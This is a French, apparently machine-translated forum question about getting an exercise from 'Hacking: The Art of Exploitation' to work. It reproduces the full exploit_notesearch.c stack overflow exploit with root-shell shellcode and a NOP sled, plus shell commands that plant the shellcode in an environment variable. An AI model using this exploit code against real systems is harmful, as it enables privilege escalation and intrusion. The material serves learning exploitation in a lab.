Je travaille par le biais de Piratage: L'Art de l'Exploitation et suis en cours d'exécution dans mon premier accroc à essayer d'obtenir un bon état de fonctionnement exploiter à courir à partir du livre via une variable d'environnement. Tous les programmes sont compilés avec -fno-stack-protector -zexecstack -no-pie -fno-pie
.
L'exécution de exploit_notesearch.c
(quoique avec un très précises, offset), j'ai été en mesure d'obtenir l'exploit de la pop une coque en déplaçant le décalage avec argv[1]
. Cela fonctionne sur les Systèmes d'exploitation modernes (avec l'ASLR désactivé) ainsi que le live-cd inclus avec le livre.
exploit_notesearch.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=208;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
Plus loin dans le chapitre, nous avons mis le shellcode à une variable d'environnement et de tenter de rediriger les flux vers la place sur la pile où le SHELLCODE variable d'environnement est définie, à mi-chemin par le biais de la préfixé NOP sled. Cependant, ce n'est jamais exécuté l'exploit sur de nouveaux Systèmes d'exploitation, mais fonctionne très bien dans le Ubuntu 7.04 live CD fourni avec le livre. shellcode.bin
est le shellcode dans le haut de la exploit_notesearch.c
fichier couru avec echo -en
et redirigé dans un fichier.
$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled
Ce qui se passe ici qui a changé entre les anciens Systèmes d'exploitation et moderne? Est-il une protection, je suis pas au courant de qui l'empêche de monter le NOP sled au shellcode?
Je vous remercie.